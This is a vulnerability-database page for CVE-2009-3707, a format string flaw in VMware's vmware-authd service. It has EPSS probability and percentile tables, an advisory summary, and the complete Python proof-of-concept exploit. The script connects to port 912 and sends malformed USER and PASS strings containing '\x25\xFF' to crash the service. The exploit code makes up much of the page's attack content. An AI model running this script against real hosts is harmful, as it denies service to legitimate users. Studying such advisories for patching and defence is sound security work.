CVE-2009-3707 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	15.89%	–
2023-10-22	–	–	–	13.89%	–
2024-02-18	–	–	–	46.99%	–
2024-06-02	–	–	–	46.99%	–
2024-08-25	–	–	–	46.99%	–
2024-12-22	–	–	–	38.03%	–
2025-01-19	–	–	–	38.03%	–
2025-03-18	–	–	–	–	16.89%
2025-04-15	–	–	–	–	16.89%
2025-04-15	–	–	–	–	16.89,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	95%
2023-10-22	95%
2024-02-18	97%
2024-06-02	97%
2024-08-25	98%
2024-12-22	97%
2025-01-19	97%
2025-03-18	94%
2025-04-15	95%
2025-04-15	95%

source: https://www.securityfocus.com/bid/36630/info VMware Player and Workstation are prone to a remote denial-of-service vulnerability because the applications fail to perform adequate validation checks on user-supplied input. An attacker can exploit this issue to crash the 'vmware-authd' process, denying service to legitimate users. NOTE: This issue was also covered in BID 39345 (VMware Hosted Products VMSA-2010-0007 Multiple Remote and Local Vulnerabilities); this BID is being retained to properly document the issue. # ---------------------------------------------------------------------------- # VMware Authorization Service <= 2.5.3 (vmware-authd.exe) Format String DoS # url: http://www.vmware.com/ # # author: shinnai # mail: shinnai[at]autistici[dot]org # site: http://www.shinnai.net # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # # Tested on Windows XP Professional Ita SP3 full patched # ---------------------------------------------------------------------------- # usage: C:\>exploit.py 127.0.0.1 912 import socket import time import sys host = str(sys.argv[1]) port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: conn = s.connect((host, port)) d = s.recv(1024) print "Server <- " + d s.send('USER \x25\xFF \r\n') print 'Sending command "USER" + evil string...' d = s.recv(1024) print "Server response <- " + d s.send('PASS \x25\xFF \r\n') print 'Sending command "PASS" + evil string...' try: d = s.recv(1024) print "Server response <- " + d except: print "\nExploit completed..." except: print "Something goes wrong honey..."